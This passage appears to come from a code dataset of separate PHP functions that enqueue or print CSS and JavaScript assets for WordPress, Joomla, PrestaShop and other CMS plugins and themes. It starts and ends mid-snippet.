ul.bbp-search-results,#bbpress-forums fieldset.bbp-form,#subscription-toggle,#favorite-toggle{border:1px solid #252525!important}#bbpress-forums div.bbp-forum-header,#bbpress-forums div.bbp-topic-header,#bbpress-forums div.bbp-reply-header{background-color:#1A1A1A!important}#bbpress-forums div.even,#bbpress-forums ul.even{background-color:#161616!important}.bbp-view-title{display:block}div.fixed_contact,i.backtotop,i.fixed_contact,.ajax_search_results{background:#151515}.nice-select{background-color:#fff;color:#000}.nice-select .list{background:#fff}.woocommerce div.product .woocommerce-tabs ul.tabs li.active a,.woocommerce div.product .woocommerce-tabs ul.tabs li a{color: inherit}.woocommerce #reviews #comments ol.commentlist li .comment-text{border-color:rgba(167, 167, 167, 0.2) !important}.woocommerce div.product .woocommerce-tabs ul.tabs li.active{background:rgba(167, 167, 167, 0.2)}.woocommerce div.product .woocommerce-tabs ul.tabs li::before,.woocommerce div.product .woocommerce-tabs ul.tabs li::after{display:none!important}#comments .commentlist li .avatar{box-shadow: 1px 10px 10px rgba(167, 167, 167, 0.1) !important}.cz_line{background:#fff}.xtra-post-title span{color:rgba(255, 255, 255, 0.6)}.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .zoomImg{background-color:#0b0b0b}.cz_popup_in{background:#171717;color:#fff}';\n\t\t\t\t}\n\n\t\t\t\t// Category page custom background\n\t\t\t\tif ( is_category() || is_tag() || is_tax() ) {\n\n\t\t\t\t\tglobal $wp_query;\n\n\t\t\t\t\tif ( ! empty( $wp_query->queried_object->term_id ) ) {\n\n\t\t\t\t\t\t$tax_meta = get_term_meta( $wp_query->queried_object->term_id, 'codevz_cat_meta', true );\n\n\t\t\t\t\t\tif ( ! empty( $tax_meta['_css_page_title'] ) ) {\n\n\t\t\t\t\t\t\t$extra_css .= '.page_title{' . str_replace( ';', ' !important;', $tax_meta['_css_page_title'] ) . '}';\n\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t// Theme styles\n\t\t\t\tif ( is_customize_preview() ) {\n\n\t\t\t\t\twp_add_inline_style( $handle, $extra_css );\n\n\t\t\t\t} else {\n\t\t\t\t\t$ts = self::option( 'css_out' );\n\n\t\t\t\t\t// Fix for old users\n\t\t\t\t\tif ( ! $ts && self::$plugin ) {\n\t\t\t\t\t\t$ts = Codevz_Options::css_out();\n\t\t\t\t\t}\n\n\t\t\t\t\t// Add styles\n\t\t\t\t\twp_add_inline_style( $handle, $extra_css . $ts );\n\n\t\t\t\t\t// Fonts\n\t\t\t\t\tforeach( (array) self::option( 'fonts_out' ) as $font ) {\n\t\t\t\t\t\tself::enqueue_font( $font );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}", "public function frontEndStyleScripts(): void\n {\n wp_enqueue_style('users-data-bootstrap', plugin_dir_url(dirname(__FILE__)) . 'assets/css/bootstrap.min.css', [], UsersListing::getVersion());\n wp_enqueue_style('users-data-fontawsome', plugin_dir_url(dirname(__FILE__)) . 'assets/css/font-awesome.min.css', [], UsersListing::getVersion());\n wp_enqueue_style('users-data-styles', plugin_dir_url(dirname(__FILE__)) . 'assets/css/users-data.css', [], UsersListing::getVersion());\n //\n wp_enqueue_script('jquery-min', plugin_dir_url(dirname(__FILE__)) . 'assets/js/jquery.min.js', ['jquery'], UsersListing::getVersion(), false);\n wp_enqueue_script('jquery-popper', plugin_dir_url(dirname(__FILE__)) . 'assets/js/popper.min.js', ['jquery'], UsersListing::getVersion(), false);\n wp_enqueue_script('bootstrap-min', plugin_dir_url(dirname(__FILE__)) . 'assets/js/bootstrap.min.js', ['jquery'], UsersListing::getVersion(), false);\n }", "public function addStaticJavascript()\n {\n JHTML::_('behavior.mootools');\n\n $document = JFactory::getDocument();\n $document->addStyleSheet(JURI::root() . \"/media/com_cedtag/css/jquery-ui-base-1.8.20.css\");\n $document->addStyleSheet(JURI::root() . \"/media/com_cedtag/css/tagit-stylish-yellow.css\");\n\n $document->addScript(JURI::root() . \"media/com_cedtag/js/jquery.1.7.2.min.js\");\n $document->addScript(JURI::root() . \"media/com_cedtag/js/jquery-ui.1.8.20.min.js\");\n $document->addScript(JURI::root() . \"media/com_cedtag/js/tagit.js\");\n $document->addScriptDeclaration(\"jQuery.noConflict();\");\n }", "public function meta_box_css() {\n\n ?>\n <style type=\"text/css\">.misc-pub-section:not(.misc-pub-post-status) { display: none; }</style>\n <?php\n\n // Fire action for CSS on Envira post type screens.\n do_action( 'envira_gallery_admin_css' );\n\n }", "static function include_scripts(){\n\t\t//self::include_css();\n\t\tself::include_js();\n\t}", "function addLittleShopCSS(){\n if(littleShopTakeEffect() === TRUE){\n\t echo '<link media=\"screen\" type=\"text/css\" href=\"'.myOwnLittleEbayShopPluginURL().'/my-own-little-ebay-shop-css.css\" rel=\"stylesheet\"/>';\n\t\n\t}\n}", "function do_add_css(){\n\t\tglobal $jcf_included_assets;\n\t\t\n\t\tif( !empty($jcf_included_assets['styles'][get_class($this)]) )\n\t\t\treturn false;\n\t\t\n\t\tif( method_exists($this, 'add_css') ){\n\t\t\tadd_action( 'jcf_admin_edit_post_styles', array($this, 'add_css'), 10 );\n\t\t}\n\n\t\t$jcf_included_assets['styles'][get_class($this)] = 1;\n\t}", "public function css_includes()\n {\n }", "private function loadExtraScripts(&$data)\n\t{\n\t\t$this->appendFile($data, MainHelper::site_url('global/css/feedback.css'), 'stylesheet');\n\t\t$this->appendScript($data, '$(function() {$( \"#tabs_feedback\" ).tabs();});');\n\t\n\t\t// Add/override 'horizontal_tabs' class elements\n\t\t$this->appendScript($data, '.horizontal_tabs { border-bottom: 0px }', 'stylesheet');\n\t\t$this->appendScript($data, '.horizontal_tabs .selected { color: #FFFFFF; text-decoration: none; background-color: #0084C7; }', 'stylesheet');\n\t}", "public function build_css() {\n\t\t\t\n\t\t}", "protected function doCompressCss() {}", "protected function loadCss() {}", "public static function css();", "public function hookHeader(){\n $this->context->controller->addCSS($this->_path.'style.css');\n \n $this->context->controller->addJqueryPlugin(array('scrollTo', 'serialScroll'));\n $this->context->controller->addJS($this->_path.'script.js');\n }", "function add_head() {\r\n\t\tglobal $locale;\r\n\t\t$wpca_settings = get_option('wpcareers');\r\n\t\techo \"<link rel=\\\"stylesheet\\\" href=\\\"\" . $this->plugin_url . \"/themes/default/css/default.css\\\" type=\\\"text/css\\\" media=\\\"screen\\\">\";\r\n\t\tif($wpca_settings['edit_style']==null || $wpca_settings['edit_style']=='plain') {\r\n\t\t\t// nothing\r\n\t\t} elseif($wpca_settings['edit_style']=='tinymce') {\r\n\t\t\t// activate these includes if the user chooses tinyMCE on the settings page\r\n\t\t\t$mce_path = get_option('siteurl');\r\n\t\t\t$mce_path .= '/wp-includes/js/tinymce/tiny_mce.js';\r\n\t\t\techo '<script type=\"text/javascript\" src=\"' . $mce_path . '\"></script>';\r\n\t\t}\r\n\t}", "protected function addAdditionalScript() {\necho <<< HTML\n <script src=\"scripts/ajax.js\"></script>\n <link rel=\"stylesheet\" type=\"text/css\" href=\"styles/customer.css\">\nHTML; \n }", "function wv_admin_enqueue_scripts() {\n wp_enqueue_style('wvadminstyle', WOO_VENDOR__PLUGIN_URL . 'assets/css/admin-style.css');\n\n $userRoles = $this->wv_get_loggedin_user_role();\n //remove some points when vendor login :admin\n if ($userRoles == \"wvm_role_vendor\") {\n ?>\n <style>\n ul.subsubsub li.all,ul.subsubsub li.publish{display:none;}\n </style> \n <?php\n }//end condition.\n }", "protected function addCustomJS()\n\t{\n\t\t\n\t}", "public function hookHeader()\n {\n $this->context->controller->addJS($this->_path.'/views/js/owl.carousel.min.js');\n $this->context->controller->addCSS($this->_path.'/views/css/owl.carousel.min.css');\n\n $this->context->controller->addJS($this->_path.'/views/js/mf.custom.js');\n $this->context->controller->addCSS($this->_path.'/views/css/mf.theme.default.css');\n\n }", "function attach_custom_css_filter() {\n\tif ( ! is_admin() && ! is_feed() && ! is_robots() && ! is_trackback() ) {\n\t\tglobal $publishthis;\n\n\t\tif( is_singular() ) echo $publishthis->utils->display_css();\n\t}\n}", "public function hookHeader()\n {\n $this->context->controller->addJS($this->_path.'/views/js/front.js');\n $this->context->controller->addCSS($this->_path.'/views/css/front.css');\n }", "public function hookHeader()\n {\n $this->context->controller->addJS($this->_path.'/views/js/front.js');\n $this->context->controller->addCSS($this->_path.'/views/css/front.css');\n }", "public function hookHeader()\n {\n $this->context->controller->addJS($this->_path.'/views/js/front.js');\n $this->context->controller->addCSS($this->_path.'/views/css/front.css');\n }", "private function _addCss() {\r\n JHtml::styleSheet( Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/list.css');\r\n }", "public function hookHeader()\n {\n // $this->context->controller->addJS('http://code.jquery.com/jquery-2.1.4.min.js');\n // $this->context->controller->addJS($this->_path.'views/js/bootstrap.min.js');\n $this->context->controller->addJS($this->_path.'views/js/front.js');\n $this->context->controller->addCSS($this->_path.'views/css/front.css');\n\n $this->context->controller->addJS($this->_path.'views/js/responsiveslides.js');\n $this->context->controller->addCSS($this->_path.'views/css/responsiveslides.css');\n $this->context->controller->addCSS($this->_path.'views/css/themes.css');\n }", "public function loadScripts() {\n $graphcss = $this->getProperty('graphcss');\n $customcss = $this->getProperty('customcss');\n $loadjquery = $this->getProperty('loadjquery');\n\n $cssUrl = $this->sekug->config['cssUrl'].'web/';\n $jsUrl = $this->sekug->config['jsUrl'].'web/';\n\n if($loadjquery == 1){\n $this->modx->regClientStartupScript($jsUrl.'libs/'.$this->sekug->config['jqueryFile']);\n }\n if($customcss>''){\n $this->modx->regClientCSS($this->modx->getOption('assets_url').$customcss);\n } else {\n $this->modx->regClientCSS($cssUrl.'gallery.structure.css');\n }\n if($graphcss>''){\n $this->modx->regClientCSS($this->modx->getOption('assets_url').$graphcss);\n } else {\n $this->modx->regClientCSS($cssUrl.'directory.graph.css');\n }\n }", "function nameless_sheep_scripts() {\n\t\t// Get the theme data.\n\t\t$the_theme = wp_get_theme();\n\t\t$theme_version = $the_theme->get( 'Version' );\n\n\t\t$css_version = $theme_version . '.' . filemtime( get_template_directory() . '/css/theme.min.css' );\n\t\twp_enqueue_style( 'nameless_sheep-styles', get_template_directory_uri() . '/css/theme.min.css', array(), $css_version );\n\n\t\twp_enqueue_script( 'jquery' );\n\t}", "private function decideIncludeCSS(){\n //if user don´t want to use our css\n $noCSS = $GLOBALS['TSFE']->tmpl->setup['plugin.']['tx_libconnect.']['settings.']['ezbNoCSS'];\n\n if($noCSS == 1){\n return;\n }\n\n //get UID of PlugIn\n $this->contentObj = $this->configurationManager->getContentObject();\n $uid = $this->contentObj->data['uid'];\n unset($this->contentObj);\n\n //only the first PlugIn needs to include the css\n if(IsfirstPlugInUserFunction('ezb', $uid)){\n $this->response->addAdditionalHeaderData('<link rel=\"stylesheet\" href=\"' . t3lib_extMgm::siteRelPath('libconnect') . 'Resources/Public/Styles/ezb.css\" />'); \n }\n }", "function addCSSFiles()\n\t{\n\t\t$this->getContainer()->AddCSSFile(\"include/zoombox/zoombox.css\");\n\t}", "public function add_scripts_and_styles()\n {\n // Estilos css \n wp_register_style( 'wiAjustesStyles', WI_PLUGIN_URL . '/style.css', null, WI_VERSION );\n wp_enqueue_style( 'wiAjustesStyles' );\n\n // Scripts de javascript\n wp_enqueue_script('wiAjustesStylesJs', WI_PLUGIN_URL . '/script.js' , array('jquery'));\n }", "function _barony_base_file_additions() {\n // Add Font Awesome\n drupal_add_js('//use.fontawesome.com/76948938e9.js', 'external');\n // Add Google Fonts\n drupal_add_css('//fonts.googleapis.com/css?family=Uncial+Antiqua|Metamorphous', array('group' => CSS_THEME));\n\n // Custom additions\n drupal_add_js(drupal_get_path('theme', 'barony_base') . '/js/header-movement.js', array('type' => 'file', 'scope' => 'footer'));\n}", "public function addDependencies()\n {\n $this->Html->script('/attachments/js/vendor/jquery.ui.widget.js', ['block' => true]);\n $this->Html->script('/attachments/js/vendor/jquery.iframe-transport.js', ['block' => true]);\n $this->Html->script('/attachments/js/vendor/jquery.fileupload.js', ['block' => true]);\n $this->Html->script('/attachments/js/app/lib/AttachmentsWidget.js', ['block' => true]);\n $this->Html->css('/attachments/css/attachments.css', ['block' => true]);\n }", "public function beforeRender() {\n\t\t$this->Html->script('/dximagebox/js/jquery.fancybox-1.3.4', array('inline' => false));\n\t\t$this->Html->script('/dximagebox/js/jquery.mousewheel-3.0.4.pack', array('inline' => false));\n\t\t$this->Html->script('/dximagebox/js/jquery.easing-1.3.pack', array('inline' => false));\n\t\t$this->Html->css('/dximagebox/css/jquery.fancybox-1.3.4', null, array('inline' => false)); \n\t\t\n }", "public function loadAssets()\r\n {\r\n $this->app->document->addStylesheet('elements:imagebox/assets/css/edit.css');\r\n return parent::loadAssets();\r\n }", "function add_qoorate_stylesheet(){\n\t\t// TODO: make call to get styles from QOORATE\n\t\t// MAYBE TODO: cacheing ... place in DB options?\n\t\t\n\t\t//$styleUrl = plugins_url('/css/guthrie.css', __FILE__);\n\t\t//$styleFile = WP_PLUGIN_DIR . '/guthrie/css/guthrie.css';\n\t\t//if ( file_exists($styleFile) ) {\n\t\t//\t\t//echo($styleUrl.\"<br />\");\n\t\t//\t\twp_register_style('guthrie', $styleUrl);\n\t\t//\t\twp_enqueue_style('guthrie');\n\t\t//}\n\t\t// unregister our really old jquery bundled with WP\n\t\t// Maybe we can keep it? should it be an option?\n\t\twp_deregister_script( 'jquery' );\n\t\twp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js' );\n\t\twp_enqueue_script( 'jquery' );\n\t}", "function cjpopups_frontend_scripts(){\n\t$wp_version = get_bloginfo('version');\n\t$item_version = cjpopups_item_info('item_version');\n\tif(!is_admin()){\n\t\twp_register_style( 'cj-frontend-css', cjpopups_item_path('framework_url').'/assets/frontend/css/cj-global.css', null, $item_version, 'screen' );\n\t\twp_enqueue_style( 'cj-frontend-css' );\n\t}\n}", "private function _include_jscss()\n {\n if (!$this->cache['jscss'])\n {\n $styles = '<style type=\"text/css\">' . file_get_contents(PATH_THIRD . '/vz_regulator/assets/styles.min.css') . '</style>' . NL;\n $scripts = '<script type=\"text/javascript\">// <![CDATA[ ' . file_get_contents(PATH_THIRD . '/vz_regulator/assets/scripts.min.js') . ' // ]]></script>';\n $this->EE->cp->add_to_head($styles . $scripts);\n\n $this->cache['jscss'] = TRUE;\n }\n }", "public function control_panel__add_to_head()\n\t{\n\t\tif ( URL::getCurrent(false) == '/publish' ) {\n\t\t\treturn $this->css->link('fileclerk.css');\n\t\t}\n\t}", "private function includeJavaScript() {\n\t\t$GLOBALS['TSFE']->additionalHeaderData[$this->prefixId]\n\t\t\t= '<script type=\"text/javascript\" ' .\n\t\t\t'src=\"' . $this->getExtensionPath() .\n\t\t\t'pi1/tx_explanationbox_pi1.js\">' .\n\t\t\t'</script>';\n\n\t\tif ($this->hasConfValueString('mooTools')) {\n\t\t\t$GLOBALS['TSFE']->additionalHeaderData[$this->prefixId . '_moo']\n\t\t\t\t= '<script type=\"text/javascript\" ' .\n\t\t\t\t'src=\"' . $this->getExtensionPath() .\n\t\t\t\t$this->getConfValueString('mooTools') . '\">' .\n\t\t\t\t'</script>';\n\t\t}\n\t}", "public function register_scripts()\n {\n wp_register_style(\n 'fau-oembed-style',\n plugins_url('assets/css/fau-oembed.css', plugin()->getBasename()),\n [],\n plugin()->getVersion()\n ); \n }", "public function hookHeader()\n\t{\n\t\t$this->context->controller->addJS($this->_path.'/views/js/front.js');\n\t\t$this->context->controller->addCSS($this->_path.'/views/css/front.css');\n\t}", "public function inline_css() { ?>\n\n\t\t\t<style type=\"text/css\">\n\t\t\t\tbody #wprt-add-widget h3 { text-align: center !important; padding: 15px 7px; font-size: 1.3em; margin-top: 5px; }\n\t\t\t\tbody div#widgets-right .sidebar-wprt-custom .widgets-sortables { padding-bottom: 45px }\n\t\t\t\tbody div#widgets-right .sidebar-wprt-custom.closed .widgets-sortables { padding-bottom: 0 }\n\t\t\t\tbody .wprt-widget-area-footer { display: block; position: absolute; bottom: 0; left: 0; height: 40px; line-height: 40px; width: 100%; border-top: 1px solid #e4e4e4; }\n\t\t\t\tbody .wprt-widget-area-footer > div { padding: 8px 8px 0 }\n\t\t\t\tbody .wprt-widget-area-footer .wprt-widget-area-id { display: block; float: left; max-width: 48%; overflow: hidden; position: relative; top: -6px; }\n\t\t\t\tbody .wprt-widget-area-footer .wprt-widget-area-buttons { float: right }\n\t\t\t\tbody .wprt-widget-area-footer .description { padding: 0 !important; margin: 0 !important; }\n\t\t\t\tbody div#widgets-right .sidebar-wprt-custom.closed .widgets-sortables .wprt-widget-area-footer { display: none }\n\t\t\t\tbody .wprt-widget-area-footer .wprt-widget-area-delete { display: block; float: right; margin: 0; }\n\t\t\t\tbody .wprt-widget-area-footer .wprt-widget-area-delete-confirm { display: none; float: right; margin: 0 5px 0 0; }\n\t\t\t\tbody .wprt-widget-area-footer .wprt-widget-area-delete-cancel { display: none; float: right; margin: 0; }\n\t\t\t\tbody .wprt-widget-area-delete-confirm:hover:before { color: red }\n\t\t\t\tbody .wprt-widget-area-delete-confirm:hover { color: #333 }\n\t\t\t\tbody .wprt-widget-area-delete:hover:before { color: #919191 }\n\t\t\t\tbody .activate_spinner { display: block !important; position: absolute; top: 10px; right: 4px; background-color: #ECECEC; }\n\t\t\t\tbody #wprt-add-widget form { text-align: center }\n\t\t\t\tbody #widget_area-wprt-custom,\n\t\t\t\tbody #widget_area-wprt-custom h3 { position: relative }\n\t\t\t\tbody #wprt-add-widget p { margin-top: 0 }\n\t\t\t\tbody #wprt-add-widget { margin: 10px 0 0; position: relative; }\n\t\t\t\tbody #wprt-add-widget-input { max-width: 95%; padding: 8px; margin-bottom: 14px; margin-top: 3px; text-align: center; }\n\t\t\t</style>\n\n\t\t<?php }", "public function trad_load_css_and_jss() {\n\t\tif ( ! $this->trad_ioy_shortcodes_activated ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// this tells us if we want to load the .min versions of css and js when available\n\t\t$trad_use_min_js = $this->get_setting( 'trad_use_min_js' );\n\n\t\t// load our plugin-specific css\n\t\tif ( $this->get_setting( 'trad_load_trad_ioy_css' ) ) {\n\t\t\twp_enqueue_style( 'trad-ioy', plugins_url(\n\t\t\t\t'css/stylesheet.css', dirname( __FILE__ ) ) );\n\t\t}\n\n\t\t// load our custom css\n\t\tif ( $this->get_setting( 'trad_ioy_local_css_file' ) ) {\n\t\t\twp_enqueue_style( 'trad-ioy-custom', $this->get_setting( 'trad_ioy_local_css_file' ) );\n\t\t}\n\n\t\tif ( $this->get_setting( 'trad_ioy_local_css' ) ) {\n\t\t\tadd_action( 'wp_head', array( $this, 'trad_ioy_add_custom_css' ) );\n\t\t}\n\t\t// we definitely need jQuery\n\t\twp_enqueue_script( 'jquery' );\n\n\t\tif ( $this->get_setting( 'trad_load_cookie_js' ) ) {\n\t\t\twp_enqueue_script( 'trad-cookie-js', plugins_url(\n\t\t\t\t\t$this->min_or_full( 'js/jquery/jquery.cookie', 'js', false ), dirname( __FILE__ ) ), array( 'jquery' ),\n\t\t\t\tfalse, true );\n\t\t}\n\n\t\tif ( $this->get_setting( 'trad_load_scrollto_js' ) ) {\n\t\t\twp_enqueue_script( 'trad-scrollto-js', plugins_url(\n\t\t\t\t\t$this->min_or_full( 'js/jquery/jquery.scrollTo-1.4.3.1', 'js', $trad_use_min_js ), dirname( __FILE__ ) ),\n\t\t\t\tarray( 'jquery' ), false, true );\n\t\t}\n\n\t\t// add our special javascipt\n\t\tadd_action( 'wp_footer', array( $this, 'trad_ioy_js' ) );\n\t}", "public function get_custom_css()\n {\n }", "function add_css() \n {\n if( $this->options['use-css-file'] ) {\n wp_register_style( 'bbquotations-style' , $this->plugin_url . 'bbquotations-style.css');\n wp_enqueue_style( 'bbquotations-style' );\n } \n }", "public function css() {\n $swpm_settings = get_option('swpm-settings');\n wp_register_style('swpm-jqueryui-css', apply_filters('swpm-date-picker-css', SWPM_FORM_BUILDER_URL . '/css/smoothness/jquery-ui-1.10.3.min.css'), array(), '20131203');\n\t//check if Light CSS option enabled\n\t$is_light=SwpmFbSettings::get_setting('enable-light-css')!==false ? '-light' : '';\n wp_register_style('swpm-form-builder-css', apply_filters('swpm-form-builder-css', SWPM_FORM_BUILDER_URL . \"/css/swpm-form-builder$is_light$this->load_dev_files.css\"), array(), '20140412');\n\n // Settings - Always load CSS\n //if (isset($swpm_settings['always-load-css'])) {\n wp_enqueue_style('swpm-form-builder-css');\n wp_enqueue_style('swpm-jqueryui-css');\n return;\n //}\n // Settings - Disable CSS\n if (isset($swpm_settings['disable-css']))\n return;\n\n // Get active widgets\n $widget = is_active_widget(false, false, 'swpm_widget');\n\n // If no widget is found, test for shortcode\n if (empty($widget)) {\n // If WordPress 3.6, use internal function. Otherwise, my own\n if (function_exists('has_shortcode')) {\n global $post;\n\n // If no post exists, exit\n if (!$post)\n return;\n\n if (!has_shortcode($post->post_content, 'swpm'))\n return;\n } elseif (!$this->has_shortcode('swpm')) {\n return;\n }\n }\n\n wp_enqueue_style('swpm-form-builder-css');\n wp_enqueue_style('swpm-jqueryui-css');\n }", "public function renderCSS()\n {\n }", "protected function _css()\n\t{\n\t\tif ( !self::$_firstRun ) return '';\n\t\tself::$_firstRun = FALSE;\n\n\t\t$dir = KINT_DIR . 'view/' . ( self::$devel ? 'src/' : '' ); // load uncompressed sources if in devel mode\n\n\t\treturn '<script>' . file_get_contents( $dir . 'kint.js' ) . '</script>'\n\t\t\t. '<style>' . file_get_contents( $dir . 'kint.css' ) . '</style>';\n\t}", "function load_js_css() {\n\n\t\t\twp_register_script( 'fontawesome-all', get_stylesheet_directory_uri() . '/js/fontawesome-all.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'owl', get_stylesheet_directory_uri() . '/js/owl.carousel.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'selectric', get_stylesheet_directory_uri() . '/js/jquery.selectric.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'select', get_stylesheet_directory_uri() . '/js/select.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'jquery-ui', get_stylesheet_directory_uri() . '/js/jquery-ui.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'tab_menu', get_stylesheet_directory_uri() . '/js/tab_menu.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'aos', get_stylesheet_directory_uri() . '/js/aos.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'rangeslider', get_stylesheet_directory_uri() . '/js/rangeslider.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'bootstrap', get_stylesheet_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'easymap', get_stylesheet_directory_uri() . '/js/easymap.plugin.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'markerclusterer', get_stylesheet_directory_uri() . '/js/markerclusterer.min.js', array(), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'customscrollbar', get_stylesheet_directory_uri() . '/js/jquery.mCustomScrollbar.concat.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'ddslick', get_stylesheet_directory_uri() . '/js/jquery.ddslick.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'project045-main', get_stylesheet_directory_uri() . '/js/main.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\n\t\t\twp_enqueue_script( 'fontawesome-all' );\n\t\t\twp_enqueue_script( 'owl' );\n\t\t\twp_enqueue_script( 'selectric' );\n\t\t\twp_enqueue_script( 'select' );\n\t\t\twp_enqueue_script( 'jquery-ui' );\n\t\t\twp_enqueue_script( 'tab_menu' );\n\t\t\twp_enqueue_script( 'aos' );\n\t\t\twp_enqueue_script( 'rangeslider' );\n\t\t\twp_enqueue_script( 'bootstrap' );\n\t\t\twp_enqueue_script( 'easymap' );\n\t\t\twp_enqueue_script( 'markerclusterer' );\n\t\t\twp_enqueue_script( 'customscrollbar' );\n\t\t\twp_enqueue_script( 'ddslick' );\n\t\t\twp_enqueue_script( 'project045-main' );\n\n\t\t}", "public function add_styles() {\n\n\t\t\t$current_page = isset( $_GET['page'] ) ? $_GET['page'] : null;\n\t\t\t$current_tab = isset( $_GET['tab'] ) ? $_GET['tab'] : null;\n\n\t\t\t$page_ID = $this->translate_name_to_id( $this->page );\n\t\t\t$tab_ID = $this->translate_name_to_id( $this->tab );\n\t\t\t$settings_tab_ID = $this->translate_name_to_id( $this->settings_tab );\n\n\t\t\t// Only add style if on extension tab or on extension settings tab\n\t\t\tif ( ( $current_page == $page_ID && $current_tab == $tab_ID )\n\t\t\t || ( $current_page == 'cd_settings' && $current_tab == $settings_tab_ID )\n\t\t\t || ( $current_page == 'cd_account' && $current_tab == 'activity' )\n\t\t\t) {\n // Add stylesheet from this plugin\n\t\t\t\twp_enqueue_style( \"$this->ID-style\" );\n\n // Add Stream stuff\n wp_enqueue_style( 'wp-stream-admin', WP_STREAM_URL . 'ui/css/admin.css', array(), WP_Stream::VERSION );\n wp_enqueue_script( 'select2' );\n wp_enqueue_style( 'select2' );\n\n wp_enqueue_script( 'timeago' );\n wp_enqueue_script( 'timeago-locale' );\n\n wp_enqueue_script( 'wp-stream-admin', WP_STREAM_URL . 'ui/js/admin.js', array( 'jquery', 'select2' ), WP_Stream::VERSION );\n wp_enqueue_script( 'wp-stream-live-updates', WP_STREAM_URL . 'ui/js/live-updates.js', array( 'jquery', 'heartbeat' ), WP_Stream::VERSION );\n wp_localize_script(\n 'wp-stream-admin',\n 'wp_stream',\n array(\n 'i18n' => array(\n 'confirm_defaults' => __( 'Are you sure you want to reset all site settings to default? This cannot be undone.', 'stream' ),\n ),\n 'gmt_offset' => get_option( 'gmt_offset' ),\n )\n );\n wp_localize_script(\n 'wp-stream-live-updates',\n 'wp_stream_live_updates',\n array(\n 'current_screen' => $current_page,\n 'current_page' => $current_page,\n 'current_order' => isset( $_GET['order'] ) ? esc_js( $_GET['order'] ) : 'desc',\n 'current_query' => json_encode( $_GET ),\n )\n );\n }\n\t\t}", "function scripts_styles() {\n\n\t\t// No need to process if in admin.\n\t\tif ( is_admin() ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$theme_url = get_template_directory_uri();\n\t\t$main_css_url = $theme_url . '/style.css';\n\t\t$main_css_path = get_template_directory() . '/style.css';\n\t\t$main_css_ver = file_exists( $main_css_path ) ? filemtime( $main_css_path ) : '';\n\n\t\twp_enqueue_style( 'superiocity-style', $main_css_url, null, $main_css_ver );\n\t\twp_deregister_script( 'wp-embed' );\n\t}", "function enfold_customization_admin_css() {\n\techo \"<style>\n\t\t\t\ta[href='#avia_sc_contact'] { display: none; }\n\t\t\t\ta[href='#avia_sc_tab'] { display: none; }\n\t\t\t\ta[href='#avia_sc_toggle'] { display: none; }\n\t\t\t\ta[href='#avia_sc_comments_list'] { display: none; }\n\t\t\t</style>\";\n}", "function bot_wtc_css() { // css for the plugin tab under extensions\n\n\tglobal $event;\n\tif($event != 'bot_wtc_tab') { // Outputs css only in 'bot_wtc' extensions tab.\n\t\treturn;\n\t}\n\n\techo '<style type=\"text/css\">\n\t\t\t#bot_main {\n\t\t\t\tmargin: auto; width:800px;\n\t\t\t}\n\t\t\t#page-bot_wtc_tab h2 {\n\t\t\t\ttext-align: center;\tmargin:20px auto; padding-bottom:10px;\n\t\t\t}\n\t\t\t#bot_controls {\n\t\t\t\tmargin: 20px auto;\n\t\t\t}\n\t\t\t#bot_controls a{margin-right:-5px}\n\t\t\t#bot_expand_all,\n\t\t\t#bot_collapse_all,\n\t\t\t#bot_advanced_open {\n\t\t\t\tfont-size:10px;\n\t\t\t}\n\t\t\t#bot_wtc_table {\n\t\t\t \tpadding:10px 0 20px; margin-left:0;\n\t\t\t}\n\t\t\t#bot_wtc_table td {\n\t\t\t\tvertical-align:center;\n\t\t\t\tpadding:5px;\n\t\t\t\twhite-space:nowrap;\n\t\t\t}\n\t\t\t#bot_wtc_table td p{margin:3px 0 0 0}\n\t\t\t#bot_advanced {}\n\t\t\t#bot_adv_items,\n\t\t\t#bot_adv_hide,\n\t\t\t#bot_adv_class\n\t\t\t{\n\t\t\t\twidth:260px; float:left; margin-bottom:20px;\n\t\t\t}\n\t\t\t#bot_uninstall-details,\n\t\t\t#bot_static_sections-details,\n\t\t\t#bot_js_box-details {\n\t\t\t\tpadding:0 20px;\n\t\t\t}\n\t\t #bot_uninstall-details{padding-bottom:20px;}\n\n\t\t\t#bot_wtc_script {\n\t\t\t\twidth:100%; border:dotted #ccc 1px;\n\t\t\t}\n\t\t\t.bot_update_button {\n\t\t\t\tmargin:20px 0; clear:both;\n\t\t\t}\n\t\t\t#bot_uninstall {\n\t\t\t}\n\t\t\t#bot_install {\n\t\t\t\tmargin: auto; width:800px;\n\t\t\t}\n\t\t\t.bot_hilight {\n\t\t\t\tbackground:#eaeaea\n\t\t\t}\n\t\t\ta.bot_push {\n\t\t\t\tfont-weight:bold; background: url(txp_img/arrowupdn.gif) no-repeat right bottom; padding-right:13px;\n\t\t\t}\n\t\t\t#bot_warning {\n\t\t\t\ttext-align:center; background:#990000; color:#fff; margin: 20px auto; padding:10px; text-shadow:none;\n\t\t\t}\n\t\t</style>';\n}", "function svs_css_customizer() {\n\t?>\n\t<style type = \"text/css\">\n\t\n\t\tbody { 